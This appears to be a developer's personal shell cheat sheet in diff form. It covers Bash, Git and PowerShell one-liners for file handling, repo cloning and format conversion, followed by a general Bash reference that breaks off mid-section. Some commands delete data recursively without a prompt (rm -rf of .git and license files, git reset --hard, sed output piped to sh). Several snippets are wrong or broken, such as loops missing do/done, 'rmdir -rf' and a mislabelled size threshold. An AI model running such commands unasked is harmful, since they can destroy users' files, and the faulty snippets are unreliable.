+# To find files with size bigger than 5 Mebibyte and sort them by size
+find . -size +5M -type f -print0 | xargs -0 ls -Ssh | sort -z
+# To find files bigger than 2 Megabyte and list them
+find . -type f -size +200000000c -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
+# To find files modified more than 7 days ago and list file information
+find . -type f -mtime +7d -ls
+# To find symlinks owned by a user and list file information
+find . -type l -user <username-or-userid> -ls
+# To search for and delete empty directories
+find . -type d -empty -exec rmdir {} \;
+# To search for directories named build at a max depth of 2 directories
+find . -maxdepth 2 -name build -type d
+# To search all files who are not in .git directory
+find . ! -iwholename '_.git_' -type f
+# To find all files that have the same node (hard link) as MY_FILE_HERE
+find . -type f -samefile MY_FILE_HERE 2> /dev/null
+# To find all files in the current directory and modify their permissions
+find . -type f -exec chmod 644 {} \;
+# 1. Remove spaces from file and folder names and then remove numbers from files and folder names
+## Description: need to : `sudo apt install rename`
+> Notes: Issue when renaming file without numbers collides with existing file name...
+## # code
+````console
+find $dir -type f | sed 's|\(.*/\)[^A-Z]*\([A-Z].*\)|mv \"&\" \"\1\2\"|' | sh
+find $dir -type d | sed 's|\(.*/\)[^A-Z]*\([A-Z].*\)|mv \"&\" \"\1\2\"|' | sh
+for i in *.html; do mv "$i" "${i%-*}.html"; done
+for i in *.*; do mv "$i" "${i%-*}.${i##*.}"; done
+## Description: combine the contents of every file in the contaning directory.
+## # code:
+let cat = require('child_process')
+.execSync('cat *')
+.toString('UTF-8');
+fs.writeFile('output.md', cat, err =>  {
+````
+# 2. Download Website Using Wget
+> Notes: ==> sudo apt install wget
+wget --limit-rate=200k --no-clobber --convert-links --random-wait -r -p -E -e robots=off -U mozilla https://bootcamp42.gitbook.io/python/
+# 3. Clean Out Messy Git Repo
+## Description: recursively removes git related folders as well as internal use files / attributions in addition to empty folders
+> Notes: To clear up clutter in repositories that only get used on your local machine.
+find . -empty -type d -print -delete
+find . \( -name ".git" -o -name ".gitignore" -o -name ".gitmodules" -o -name ".gitattributes" \) -exec rm -rf -- {} +
+find . \( -name "*SECURITY.txt" -o -name "*RELEASE.txt" -o  -name "*CHANGELOG.txt" -o -name "*LICENSE.txt" -o -name "*CONTRIBUTING.txt" -name "*HISTORY.md" -o -name "*LICENSE" -o -name "*SECURITY.md" -o -name "*RELEASE.md" -o  -name "*CHANGELOG.md" -o -name "*LICENSE.md" -o -name "*CODE_OF_CONDUCT.md" -o -name "*CONTRIBUTING.md" \) -exec rm -rf -- {} +
+# 4. clone all of a user's git repositories
+## Description: clone all of a user or organization's git repositories
+# Generalized
+CNTX={users|orgs}; NAME={username|orgname}; PAGE=1
+curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=100" |
+# Clone all Git User
+CNTX={users}; NAME={bgoonz}; PAGE=1
+# Clone all Git Organization
+CNTX={organizations}; NAME={TheAlgorithms}; PAGE=1
+curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=200"?branch=master |
+grep -e 'git_url*' |
+cut -d \" -f 4 |
+xargs -L1 git clone
+# 5. Git Workflow
+git push -u origin master
+git push -u origin main
+git push -u origin bryan-guner
+git push -u origin gh-pages
+git init
+git add .
+git commit -m"update"
+git push -u origin preview
+# 6. Recursive Unzip In Place
+## Description: recursively unzips folders and then deletes the zip file by the same name
+find . -name "*.zip" | while read filename; do unzip -o -d "`dirname "$filename"`" "$filename"; done;
+find . -name "*.zip" -type f -print -delete
+# 7. git pull keeping local changes
+git stash
+git pull
+git stash pop
+# 8. Prettier Code Formatter
+sudo npm i prettier -g
+# 9. Pandoc
+find ./ -iname "*.md" -type f -exec sh -c 'pandoc --standalone "${0}" -o "${0%.md}.html"' {} \;
+find ./ -iname "*.html" -type f -exec sh -c 'pandoc --wrap=none --from html --to markdown_strict "${0}" -o "${0%.html}.md"' {} \;
+find ./ -iname "*.docx" -type f -exec sh -c 'pandoc "${0}" -o "${0%.docx}.md"' {} \;
+# 10. Gitpod Installs
+sudo apt install tree
+sudo apt install pandoc -y
+sudo apt install rename -y
+sudo apt install black -y
+sudo apt install wget -y
+npm i lebab -g
+npm i prettier -g
+npm i npm-recursive-install -g
+black .
+prettier --write .
+npm-recursive-install
+# 11. Repo Utils Package
+## Description: my standard repo utis package
+npm i @bgoonz11/repoutils
+# 12. Unix Tree Package Usage
+tree -d -I  'node_modules'
+tree  -I  'node_modules'
+tree -f  -I  'node_modules' > TREE.md
+tree -f -L 2  > README.md
+tree -f  -I  'node_modules' > listing-path.md
+tree -f  -I  'node_modules' -d > TREE.md
+tree -f > README.md
+# 13. Find & Replace string in file & folder names recursively
+find . -type f -exec rename 's/string1/string2/g' {} +
+find . -type f -exec rename 's/\.download//g' {} +
+find . -type d -exec rename 's/-main//g' {} +
+rename 's/\.js\.download$/.js/' *.js\.download
+rename 's/\.html\.markdown$/.md/' *.html\.markdown
+find . -type d -exec rename 's/es6//g' {} +
+# 14. Remove double extensions
+for file in *.md.md
+mv "${file}" "${file%.md}"
+for file in *.html.html
+mv "${file}" "${file%.html}"
+for file in *.html.png
+for file in *.jpg.jpg
+do
+mv "${file}" "${file%.png}"
+done
+# 15. Truncate folder names down to 12 characters
+for d in ./*; do mv $d ${d:0:12}; done
+# 16.Appendir.js
+## Description: combine the contents of every file in the contaning directory
+> Notes: this includes the contents of the file it's self...
+//APPEND-DIR.js
+const fs = require('fs');
+let cat = require('child_process').execSync('cat *').toString('UTF-8');
+fs.writeFile('output.md', cat, (err) => {
+if (err) throw err;
+});
+# 17. Replace space in filename with underscore
+## Description: followed by replace `'#' with '_'` in directory name
+> Notes: Can be re-purposed to find and replace any set of strings in file or folder names.
+find . -name "* *" -type f | rename 's/_//g'
+find . -name "* *" -type d | rename 's/#/_/g'
+# 18. Filter & delete files by name and extension
+find . -name '.bin' -type d -prune -exec rm -rf '{}' +
+find . -name '*.html' -type d -prune -exec rm -rf '{}' +
+find . -name 'nav-index' -type d -prune -exec rm -rf '{}' +
+find . -name 'node-gyp' -type d -prune -exec rm -rf '{}' +
+find . -name 'deleteme.txt' -type f -prune -exec rm -rf '{}' +
+find . -name 'right.html' -type f -prune -exec rm -rf '{}' +
+find . -name 'left.html' -type f -prune -exec rm -rf '{}' +
+# 19. Remove lines containing string
+> Notes: Remove lines not containing `'.js'`
+sudo sed -i '/\.js/!d' ./*scrap2.md
+sudo sed -i '/author/d' ./*
+# 20. Remove duplicate lines from a text file
+> //...syntax of uniq...//
+> $uniq [OPTION] [INPUT[OUTPUT]]
+> The syntax of this is quite easy to understand. Here, INPUT refers to the input file in which repeated lines need to be filtered out and if INPUT isn't specified then uniq reads from the standard input. OUTPUT refers to the output file in which you can store the filtered output generated by uniq command and as in case of INPUT if OUTPUT isn't specified then uniq writes to the standard output.
+Now, let's understand the use of this with the help of an example. Suppose you have a text file named kt.txt which contains repeated lines that needs to be omitted. This can simply be done with uniq.
+sudo apt install uniq
+uniq -u input.txt output.txt
+# 21. Remove lines containing string
+sudo sed -i '/githubusercontent/d' ./*sandbox.md
+sudo sed -i '/githubusercontent/d' ./*scrap2.md
+sudo sed -i '/github\.com/d' ./*out.md
+title: add_days
+tags: date,intermediate
+firstSeen: 2020-10-28T16:19:04+02:00
+lastUpdated: 2020-10-28T16:19:04+02:00
+sudo sed -i '/title:/d' ./*output.md
+sudo sed -i '/firstSeen/d' ./*output.md
+sudo sed -i '/lastUpdated/d' ./*output.md
+sudo sed -i '/tags:/d' ./*output.md
+sudo sed -i '/badstring/d' ./*
+sudo sed -i '/stargazers/d' ./repo.txt
+sudo sed -i '/node_modules/d' ./index.html
+sudo sed -i '/right\.html/d' ./index.html
+sudo sed -i '/right\.html/d' ./right.html
+# 22. Zip directory excluding .git and node_modules all the way down (Linux)
+#!/bin/bash
+TSTAMP=`date '+%Y%m%d-%H%M%S'`
+zip -r $1.$TSTAMP.zip $1 -x "**.git/*" -x "**node_modules/*" `shift; echo $@;`
+printf "\nCreated: $1.$TSTAMP.zip\n"
+# usage:
+# - zipdir thedir
+# - zip thedir -x "**anotherexcludedsubdir/*"    (important the double quotes to prevent glob expansion)
+# if in windows/git-bash, add 'zip' command this way:
+# https://stackoverflow.com/a/55749636/1482990
+# 23. Delete files containing a certain string
+find . | xargs grep -l www.redhat.com | awk '{print "rm "$1}' >  doit.sh
+vi doit.sh // check for murphy and his law
+source doit.sh
+# 24
+html="sitemap.html"
+echo '<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/bgoonz/GIT-CDN-FILES/mdn-article.css"> '
+echo '<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/bgoonz/GIT-CDN-FILES/markdown-to-html-style.css"> '
+awk '{print "<li> <a href=\""$1"\"> ",$1,"&nbsp;</a> </li> "}' $listing
+# 25. Index of Iframes
+## Description: Creates an index.html file that contains all the files in the working directory or any of it's sub folders as iframes instead of anchor tags
+> Notes: Useful Follow up Code:
+
+```bash
+
+```
+
+###### code
+
+```bash
+
+#!/bin/sh
+
+## find ./ | grep -i "\.*$" >files
+find ./ | sed -E -e 's/([^ ]+[ ]+){8}//' | grep -i "\.*$">files
+listing="files"
+
+out=""
+
+html="index.html"
+out="basename $out.html"
+html="index.html"
+cmd() {
+
+  echo '  <!DOCTYPE html>'
+  echo '<html>'
+  echo '<head>'
+
+  echo '  <meta http-equiv="Content-Type" content="text/html">'
+
+  echo '  <meta name="Author" content="Bryan Guner">'
+  echo '<link rel="stylesheet" href="./assets/prism.css">'
+  echo ' <link rel="stylesheet" href="./assets/style.css">'
+  echo ' <script async defer src="./assets/prism.js"></script>'
+
+  echo "  <title> directory </title>"
+
+  echo ""
+  echo '<style>'
+
+echo '    a {'
+echo '      color: black;'
+echo '    }'
+echo ''
+echo '    li {'
+echo '      border: 1px solid black !important;'
+echo '      font-size: 20px;'
+echo '      letter-spacing: 0px;'
+echo '      font-weight: 700;'
+echo '      line-height: 16px;'
+echo '      text-decoration: none !important;'
+echo '      text-transform: uppercase;'
+echo '      background: #194ccdaf !important;'
+echo '      color: black !important;'
+echo '      border: none;'
+echo '      cursor: pointer;'
+echo '      justify-content: center;'
+echo '      padding: 30px 60px;'
+echo '      height: 48px;'
+echo '      text-align: center;'
+echo '      white-space: normal;'
+echo '      border-radius: 10px;'
+echo '      min-width: 45em;'
+echo '      padding: 1.2em 1em 0;'
+echo '      box-shadow: 0 0 5px;'
+echo '      margin: 1em;'
+echo '      display: grid;'
+echo '      -webkit-border-radius: 10px;'
+echo '      -moz-border-radius: 10px;'
+echo '      -ms-border-radius: 10px;'
+echo '      -o-border-radius: 10px;'
+echo '    }'
+echo '  </style>'
+  echo '</head>'
+
+  echo '<body>'
+
+  echo ""
+
+  # continue with the HTML stuff
+
+  echo ""
+
+  echo ""
+
+  echo "<ul>"
+
+  awk '{print "<iframe src=\""$1"\">","</iframe>"}' $listing
+
+  # awk '{print "<li>"};
+
+  # 	{print " <a href=\""$1"\">",$1,"</a></li>&nbsp;"}' \ $listing
+
+  echo ""
+
+  echo "</ul>"
+
+  echo "</body>"
+
+  echo "</html>"
+
+}
+
+cmd $listing --sort=extension >>$html
+
+```
+
+---
+
+## 26. Filter Corrupted Git Repo For Troublesome File
+
+### Description
+
+> Notes:
+
+###### code
+
+```bash
+
+git filter-branch --index-filter 'git rm -r --cached --ignore-unmatch assets/_index.html' HEAD
+
+```
+
+---
+
+## 27. OVERWRITE LOCAL CHANGES
+
+### Description
+
+Important: If you have any local changes, they will be lost. With or without --hard option, any local commits that haven't been pushed will be lost.[*]
+If you have any files that are not tracked by Git (e.g. uploaded user content), these files will not be affected.
+
+> Notes:
+> First, run a fetch to update all origin/<branch> refs to latest:
+
+###### code
+
+```bash
+
+git fetch --all
+## Backup your current branch:
+
+git branch backup-master
+## Then, you have two options:
+
+git reset --hard origin/master
+## OR If you are on some other branch:
+
+git reset --hard origin/<branch_name>
+## Explanation:
+## git fetch downloads the latest from remote without trying to merge or rebase anything.
+
+## Then the git reset resets the master branch to what you just fetched. The --hard option changes all the files in your working tree to match the files in origin/master
+git fetch --all
+git reset --hard origin/master
+
+```
+
+---
+
+## 28. Remove Submodules
+
+### Description: To remove a submodule you need to
+
+> Notes:
+
+> Delete the relevant section from the .gitmodules file.
+> Stage the .gitmodules changes git add .gitmodules
+> Delete the relevant section from .git/config.
+> Run git rm --cached path_to_submodule (no trailing slash).
+> Run rm -rf .git/modules/path_to_submodule (no trailing slash).
+> Commit git commit -m "Removed submodule "
+> Delete the now untracked submodule files rm -rf path_to_submodule
+
+###### code
+
+```bash
+git submodule deinit
+```
+
+---
+
+## 29. GET GISTS
+
+### Description
+
+> Notes:
+
+###### code
+
+```bash
+sudo apt install wget
+
+wget -q -O - https://api.github.com/users/bgoonz/gists | grep raw_url | awk -F\" '{print $4}' | xargs -n3 wget
+
+wget -q -O - https://api.github.com/users/amitness/gists | grep raw_url | awk -F\" '{print $4}' | xargs -n3 wget
+
+wget -q -O - https://api.github.com/users/drodsou/gists | grep raw_url | awk -F\" '{print $4}' | xargs -n1 wget
+
+wget -q -O - https://api.github.com/users/thomasmb/gists | grep raw_url | awk -F\" '{print $4}' | xargs -n1 wget
+
+```
+
+---
+
+## 30. Remove Remote OriginL
+
+### Description
+
+> Notes:
+
+###### code
+
+```bash
+
+git remote remove origin
+
+```
+
+---
+
+## 31. just clone .git folder
+
+### Description
+
+> Notes:
+
+###### code
+
+```bash
+
+git clone --bare --branch=master --single-branch https://github.com/bgoonz/My-Web-Dev-Archive.git
+
+```
+
+---
+
+## 32. Undo recent pull request
+
+### Description
+
+> Notes:
+
+###### code
+
+```bash
+
+git reset --hard master@{"10 minutes ago"}
+
+```
+
+---
+
+## 33. Lebab
+
+### Description: ES5 --> ES6
+
+> Notes:
+
+###### code
+
+```bash
+## Safe:
+
+ lebab --replace ./ --transform arrow
+ lebab --replace ./ --transform arrow-return
+ lebab --replace ./ --transform for-of
+ lebab --replace ./ --transform for-each
+ lebab --replace ./ --transform arg-rest
+ lebab --replace ./ --transform arg-spread
+ lebab --replace ./ --transform obj-method
+ lebab --replace ./ --transform obj-shorthand
+ lebab --replace ./ --transform multi-var
+
+## ALL:
+
+lebab --replace ./ --transform obj-method
+lebab --replace ./ --transform class
+lebab --replace ./ --transform arrow
+lebab --replace ./ --transform let
+lebab --replace ./ --transform arg-spread
+lebab --replace ./ --transform arg-rest
+lebab --replace ./ --transform for-each
+lebab --replace ./ --transform for-of
+lebab --replace ./ --transform commonjs
+lebab --replace ./ --transform exponent
+lebab --replace ./ --transform multi-var
+lebab --replace ./ --transform template
+lebab --replace ./ --transform default-param
+lebab --replace ./ --transform  destruct-param
+lebab --replace ./ --transform includes
+lebab --replace ./ --transform obj-method
+lebab --replace ./ --transform class
+lebab --replace ./ --transform arrow
+lebab --replace ./ --transform arg-spread
+lebab --replace ./ --transform arg-rest
+lebab --replace ./ --transform for-each
+lebab --replace ./ --transform for-of
+lebab --replace ./ --transform commonjs
+lebab --replace ./ --transform exponent
+lebab --replace ./ --transform multi-var
+lebab --replace ./ --transform template
+lebab --replace ./ --transform default-param
+lebab --replace ./ --transform  destruct-param
+lebab --replace ./ --transform includes
+
+```
+
+---
+
+## 34. Troubleshoot Ubuntu Input/Output Error
+
+### Description: Open Powershell as Administrator
+
+> Notes:
+
+###### code
+
+```ps1
+
+ wsl.exe --shutdown
+
+ Get-Service LxssManager | Restart-Service
+
+```
+
+---
+
+## 35. Export Medium as Markdown
+
+### Description
+
+> Notes:
+
+###### code
+
+```bash
+npm i mediumexporter -g
+
+mediumexporter https://medium.com/codex/fundamental-data-structures-in-javascript-8f9f709c15b4 >ds.md
+
+```
+
+---
+
+## 36. Delete files in violation of a given size range (100MB for git)
+
+### Description
+
+> Notes:
+
+###### code
+
+```bash
+
+find . -size +75M -a -print -a -exec rm -f {} \;
+
+find . -size +98M -a -print -a -exec rm -f {} \;
+
+```
+
+---
+
+## 37. download all links of given file type
+
+### Description
+
+> Notes:
+
+###### code
+
+```bash
+
+wget -r -A.pdf https://overapi.com/git
+
+```
+
+---
+
+## 38. Kill all node processes
+
+### Description
+
+> Notes:
+
+###### code
+
+```bash
+killall -s KILL node
+
+```
+
+---
+
+## 39. Remove string from file names recursively
+
+### Description: In the example below I am using this command to remove the string "-master" from all file names in the working directory and all of it's sub directories
+
+###### code
+
+```bash
+find <mydir> -type f -exec sed -i 's/<string1>/<string2>/g' {} +
+
+find . -type f -exec rename 's/-master//g' {} +
+
+```
+
+> Notes: The same could be done for folder names by changing the *-type f* flag (for file) to a *-type d* flag (for directory)
+
+```bash
+find <mydir> -type d -exec sed -i 's/<string1>/<string2>/g' {} +
+
+find . -type d -exec rename 's/-master//g' {} +
+
+```
+
+---
+
+## 40. Remove spaces from file and folder names recursively
+
+### Description: replaces spaces in file and folder names with an `_` underscore
+
+> Notes: need to run `sudo apt install rename` to use this command
+
+###### code
+
+```bash
+
+find . -name "* *" -type d | rename 's/ /_/g'
+find . -name "* *" -type f | rename 's/ /_/g'
+```
+
+---
+
+## 41. Zip Each subdirectories in a given directory into their own zip file
+
+### Description
+
+> Notes:
+
+###### code
+
+```bash
+for i in */; do zip -r "${i%/}.zip" "$i"; done
+
+```
+
+---
+
+## 91. Unzip PowerShell
+
+### Description
+
+> Notes:
+
+###### code
+
+```ps1
+
+PARAM (
+    [string] $ZipFilesPath = "./",
+    [string] $UnzipPath = "./RESULT"
+)
+
+$Shell = New-Object -com Shell.Application
+$Location = $Shell.NameSpace($UnzipPath)
+
+$ZipFiles = Get-Childitem $ZipFilesPath -Recurse -Include *.ZIP
+
+$progress = 1
+foreach ($ZipFile in $ZipFiles) {
+    Write-Progress -Activity "Unzipping to $($UnzipPath)" -PercentComplete (($progress / ($ZipFiles.Count + 1)) * 100) -CurrentOperation $ZipFile.FullName -Status "File $($Progress) of $($ZipFiles.Count)"
+    $ZipFolder = $Shell.NameSpace($ZipFile.fullname)
+
+    $Location.Copyhere($ZipFolder.items(), 1040) # 1040 - No msgboxes to the user - https://msdn.microsoft.com/library/bb787866%28VS.85%29.aspx
+    $progress++
+}
+
+```
+
+---
+
+## 92. return to bash from zsh
+
+### Description
+
+> Notes:
+
+###### code
+
+```bash
+ sudo apt --purge remove zsh
+
+```
+
+---
+
+## 93. Symbolic Link
+
+### Description: to working directory
+
+> Notes:
+
+###### code
+
+```bash
+
+ln -s "$(pwd)" ~/NameOfLink
+
+ln -s "$(pwd)" ~/Downloads
+
+```
+
+---
+
+## 94. auto generate readme
+
+### Description: rename existing readme to blueprint.md
+
+> Notes:
+
+###### code
+
+```bash
+
+npx @appnest/readme generate
+
+```
+
+---
+
+## 95. Log into postgres
+
+### Description
+
+> Notes:
+
+###### code
+
+```bash
+sudo -u postgres psql
+```
+
+---
+
+## 96. URL To Subscribe To YouTube Channel
+
+| URL                  | <https://bgoonz-blog.netlify.app>                        |
+| -------------------- | -------------------------------------------------------- |
+| Miscellaneous        | webpack ; Prism                                          |
+| Widgets              | Facebook ; AddThis                                       |
+| Analytics            | Moat ; Google Analytics ; Google Ads Conversion Tracking |
+| Comment systems      | Facebook API & REPL.it Database                          |
+| Security             | Netlify Access                                           |
+| Font scripts         | Google Font API                                          |
+| CDN                  | Unpkg ; jsDelivr ; jQuery CDN ; Netlify                  |
+| Marketing automation | MailChimp                                                |
+| Advertising          | Google AdSense                                           |
+| Tag managers         | Google Tag Manager                                       |
+| Live chat            | Smartsupp ; LiveChat : Mesibo API                        |
+| JavaScript libraries | Lodash ; Dojo ; core-js ; jQuery                         |
+
+---
+
+## 96. URL To Subscribe To YouTube Channel
+
+## Description
+
+> Notes:
+
+###### code
+
+```txt
+
+https://www.youtube.com/channel/UC1HDa0wWnIKUf-b4yY9JecQ?sub_confirmation=1
+
+```
+
+---
+
+## 97. Embed Repl.it In Medium Post
+
+###### code
+
+```txt
+
+https://repl.it/@bgoonz/Data-Structures-Algos-Codebase?lite=true&amp;referrer=https%3A%2F%2Fbryanguner.medium.com
+
+https://repl.it/@bgoonz/node-db1-project?lite=true&amp;referrer=https%3A%2F%2Fbryanguner.medium.com
+
+https://repl.it/@bgoonz/interview-prac?lite=true&amp;referrer=https%3A%2F%2Fbryanguner.medium.com
+
+https://repl.it/@bgoonz/Database-Prac?lite=true&amp;referrer=https%3A%2F%2Fbryanguner.medium.com
+
+```
+
+---
+
+## 98 rRmove text target="parent" from files called right.html
+
+### Description
+
+> Notes:
+
+###### code
+
+```bash
+
+find . -name *right.html  -type f -exec sed -i 's/target="_parent"//g' {} +
+
+find . -name *right.html  -type f -exec sed -i 's/target="_parent"//g' {} +
+
+```
+
+## 99. Cheat Sheet
+
+### Description
+
+> Notes:
+
+###### code
+
+```bash
+#!/bin/bash
+revert
+## SHORTCUTS and HISTORY
+
+
+CTRL+A  # move to beginning of line
+CTRL+B  # moves backward one character
+CTRL+C  # halts the current command
+CTRL+D  # deletes one character backward or logs out of current session, similar to exit
+CTRL+E  # moves to end of line
+CTRL+F  # moves forward one character
+CTRL+G  # aborts the current editing command and ring the terminal bell
+CTRL+H  # deletes one character under cursor (same as DELETE)
+CTRL+J  # same as RETURN
+CTRL+K  # deletes (kill) forward to end of line
+CTRL+L  # clears screen and redisplay the line
+CTRL+M  # same as RETURN
+CTRL+N  # next line in command history
+CTRL+O  # same as RETURN, then displays next line in history file
+CTRL+P  # previous line in command history
+CTRL+Q  # resumes suspended shell output
+CTRL+R  # searches backward
+CTRL+S  # searches forward or suspends shell output
+CTRL+T  # transposes two characters
+CTRL+U  # kills backward from point to the beginning of line
+CTRL+V  # makes the next character typed verbatim
+CTRL+W  # kills the word behind the cursor
+CTRL+X  # lists the possible filename completions of the current word
+CTRL+Y  # retrieves (yank) last item killed
+CTRL+Z  # stops the current command, resume with fg in the foreground or bg in the background
+
+ALT+B   # moves backward one word
+ALT+D   # deletes next word
+ALT+F   # moves forward one word
+ALT+H   # deletes one character backward
+ALT+T   # transposes two words
+ALT+.   # pastes last word from the last command. Pressing it repeatedly traverses through command history.
+ALT+U   # capitalizes every character from the current cursor position to the end of the word
+ALT+L   # uncapitalizes every character from the current cursor position to the end of the word
+ALT+C   # capitalizes the letter under the cursor. The cursor then moves to the end of the word.
+ALT+R   # reverts any changes to a command you've pulled from your history if you've edited it.
+ALT+?   # list possible completions to what is typed
+ALT+^   # expand line to most recent match from history
+
+CTRL+X then (   # start recording a keyboard macro
+CTRL+X then )   # finish recording keyboard macro
+CTRL+X then E   # recall last recorded keyboard macro
+CTRL+X then CTRL+E   # invoke text editor (specified by $EDITOR) on current command line then execute resultes as shell commands
+
+BACKSPACE  # deletes one character backward
+DELETE     # deletes one character under cursor
+
+history   # shows command line history
+!!        # repeats the last command
+!<n>      # refers to command line 'n'
+!<string> # refers to command starting with 'string'
+
+exit      # logs out of current session
+
+
+## BASH BASICS
+
+
+env                 # displays all environment variables
+
+echo $SHELL         # displays the shell you're using
+echo $BASH_VERSION  # displays bash version
+
+bash                # if you want to use bash (type exit to go back to your previously opened shell)
+whereis bash        # locates the binary, source and manual-page for a command
+which bash          # finds out which program is executed as 'bash' (default: /bin/bash, can change across environments)
+
+clear               # clears content on window (hide displayed lines)
+
+
+## FILE COMMANDS
+
+
+ls                            # lists your files in current directory, ls <dir> to print files in a specific directory
+ls -l                         # lists your files in 'long format', which contains the exact size of the file, who owns the file and who has the right to look at it, and when it was last modified
+ls -a                         # lists all files in 'long format', including hidden files (name beginning with '.')
+ln -s <filename> <link>       # creates symbolic link to file
+readlink <filename>           # shows where a symbolic links points to
+tree                          # show directories and subdirectories in easilly readable file tree
+mc                            # terminal file explorer (alternative to ncdu)
+touch <filename>              # creates or updates (edit) your file
+mktemp -t <filename>            # make a temp file in /tmp/ which is deleted at next boot (-d to make directory)
+cat <filename>                # prints file raw content (will not be interpreted)
+any_command > <filename>      # '>' is used to perform redirections, it will set any_command's stdout to file instead of "real stdout" (generally /dev/stdout)
+more <filename>               # shows the first part of a file (move with space and type q to quit)
+head <filename>               # outputs the first lines of file (default: 10 lines)
+tail <filename>               # outputs the last lines of file (useful with -f option) (default: 10 lines)
+vim <filename>                # opens a file in VIM (VI iMproved) text editor, will create it if it doesn't exist
+mv <filename1> <dest>         # moves a file to destination, behavior will change based on 'dest' type (dir: file is placed into dir; file: file will replace dest (tip: useful for renaming))
+cp <filename1> <dest>         # copies a file
+rm <filename>                 # removes a file
+find . -name <name> <type>    # searches for a file or a directory in the current directory and all its sub-directories by its name
+diff <filename1> <filename2>  # compares files, and shows where they differ
+wc <filename>                 # tells you how many lines, words and characters there are in a file. Use -lwc (lines, word, character) to ouput only 1 of those informations
+sort <filename>               # sorts the contents of a text file line by line in alphabetical order, use -n for numeric sort and -r for reversing order.
+sort -t -k <filename>         # sorts the contents on specific sort key field starting from 1, using the field separator t.
+rev                           # reverse string characters (hello becomes olleh)
+chmod -options <filename>     # lets you change the read, write, and execute permissions on your files (more infos: SUID, GUID)
+gzip <filename>               # compresses files using gzip algorithm
+gunzip <filename>             # uncompresses files compressed by gzip
+gzcat <filename>              # lets you look at gzipped file without actually having to gunzip it
+lpr <filename>                # prints the file
+lpq                           # checks out the printer queue
+lprm <jobnumber>              # removes something from the printer queue
+genscript                     # converts plain text files into postscript for printing and gives you some options for formatting
+dvips <filename>              # prints .dvi files (i.e. files produced by LaTeX)
+grep <pattern> <filenames>    # looks for the string in the files
+grep -r <pattern> <dir>       # search recursively for pattern in directory
+head -n file_name | tail +n   # Print nth line from file.
+head -y lines.txt | tail +x   # want to display all the lines from x to y. This includes the xth and yth lines.
+
+
+## DIRECTORY COMMANDS
+
+
+mkdir <dirname>               # makes a new directory
+rmdir <dirname>               # remove an empty directory
+rmdir -rf <dirname>           # remove a non-empty directory
+mv <dir1> <dir2>              # rename a directory from <dir1> to <dir2>
+cd                            # changes to home
+cd ..                         # changes to the parent directory
+cd <dirname>                  # changes directory
+cp -r <dir1> <dir2>           # copy <dir1> into <dir2> including sub-directories
+pwd                           # tells you where you currently are
+cd ~                          # changes to home.
+cd -                        # changes to previous working directory
+
+
+## SSH, SYSTEM INFO & NETWORK COMMANDS
+
+
+ssh user@host            # connects to host as user
+ssh -p <port> user@host  # connects to host on specified port as user
+ssh-copy-id user@host    # adds your ssh key to host for user to enable a keyed or passwordless login
+
+whoami                   # returns your username
+passwd                   # lets you change your password
+quota -v                 # shows what your disk quota is
+date                     # shows the current date and time
+cal                      # shows the month's calendar
+uptime                   # shows current uptime
+w                        # displays whois online
+finger <user>            # displays information about user
+uname -a                 # shows kernel information
+man <command>            # shows the manual for specified command
+df                       # shows disk usage
+du <filename>            # shows the disk usage of the files and directories in filename (du -s give only a total)
+last <yourUsername>      # lists your last logins
+ps -u yourusername       # lists your processes
+kill <PID>               # kills the processes with the ID you gave
+killall <processname>    # kill all processes with the name
+top                      # displays your currently active processes
+lsof                     # lists open files
+bg                       # lists stopped or background jobs ; resume a stopped job in the background
+fg                       # brings the most recent job in the foreground
+fg <job>                 # brings job to the foreground
+
+ping <host>              # pings host and outputs results
+whois <domain>           # gets whois information for domain
+dig <domain>             # gets DNS information for domain
+dig -x <host>            # reverses lookup host
+wget <file>              # downloads file
+
+time <command>             # report time consumed by command execution
+
+
+## VARIABLES
+
+
+varname=value                # defines a variable
+varname=value command        # defines a variable to be in the environment of a particular subprocess
+echo $varname                # checks a variable's value
+echo $$                      # prints process ID of the current shell
+echo $!                      # prints process ID of the most recently invoked background job
+echo $?                      # displays the exit status of the last command
+read <varname>               # reads a string from the input and assigns it to a variable
+read -p "prompt" <varname>   # same as above but outputs a prompt to ask user for value
+column -t <filename>         # display info in pretty columns (often used with pipe)
+let <varname> = <equation>   # performs mathematical calculation using operators like +, -, *, /, %
+export VARNAME=value         # defines an environment variable (will be available in subprocesses)
+
+array[0]=valA                # how to define an array
+array[1]=valB
+array[2]=valC
+array=([2]=valC [0]=valA [1]=valB)  # another way
+array=(valA valB valC)              # and another
+
+${array[i]}                  # displays array's value for this index. If no index is supplied, array element 0 is assumed
+${#array[i]}                 # to find out the length of any element in the array
+${#array[@]}                 # to find out how many values there are in the array
+
+declare -a                   # the variables are treated as arrays
+declare -f                   # uses function names only
+declare -F                   # displays function names without definitions
+declare -i                   # the variables are treated as integers
+declare -r                   # makes the variables read-only
+declare -x                   # marks the variables for export via the environment
+
+${varname:-word}             # if varname exists and isn't null, return its value; otherwise return word
+${varname:word}              # if varname exists and isn't null, return its value; otherwise return word
+${varname:=word}             # if varname exists and isn't null, return its value; otherwise set it word and then return its value
+${varname:?message}          # if varname exists and isn't null, return its value; otherwise print varname, followed by message and abort the current command or script
+${varname:+word}             # if varname exists and isn't null, return word; otherwise return null
+${varname:offset:length}     # performs substring expansion. It returns the substring of $varname starting at offset and up to length characters
+
+${variable#pattern}          # if the pattern matches the beginning of the variable's value, delete the shortest part that matches and return the rest
+${variable##pattern}         # if the pattern matches the beginning of the variable's value, delete the longest part that matches and return the rest
+${variable%pattern}          # if the pattern matches the end of the variable's value, delete the shortest part that matches and return the rest
+${variable%%pattern}         # if the pattern matches the end of the variable's value, delete the longest part that matches and return the rest
+${variable/pattern/string}   # the longest match to pattern in variable is replaced by string. Only the first match is replaced
+${variable//pattern/string}  # the longest match to pattern in variable is replaced by string. All matches are replaced
+
+${#varname}                  # returns the length of the value of the variable as a character string
+
+*(patternlist)               # matches zero or more occurrences of the given patterns
++(patternlist)               # matches one or more occurrences of the given patterns
+?(patternlist)               # matches zero or one occurrence of the given patterns
+@(patternlist)               # matches exactly one of the given patterns
+!(patternlist)               # matches anything except one of the given patterns
+
+$(UNIX command)              # command substitution: runs the command and returns standard output
+
+
+## FUNCTIONS
+
+
+## The function refers to passed arguments by position (as if they were positional parameters), that is, $1, $2, and so forth.
+## $@ is equal to "$1" "$2"... "$N", where N is the number of positional parameters. $# holds the number of positional parameters.
+
+function functname() {
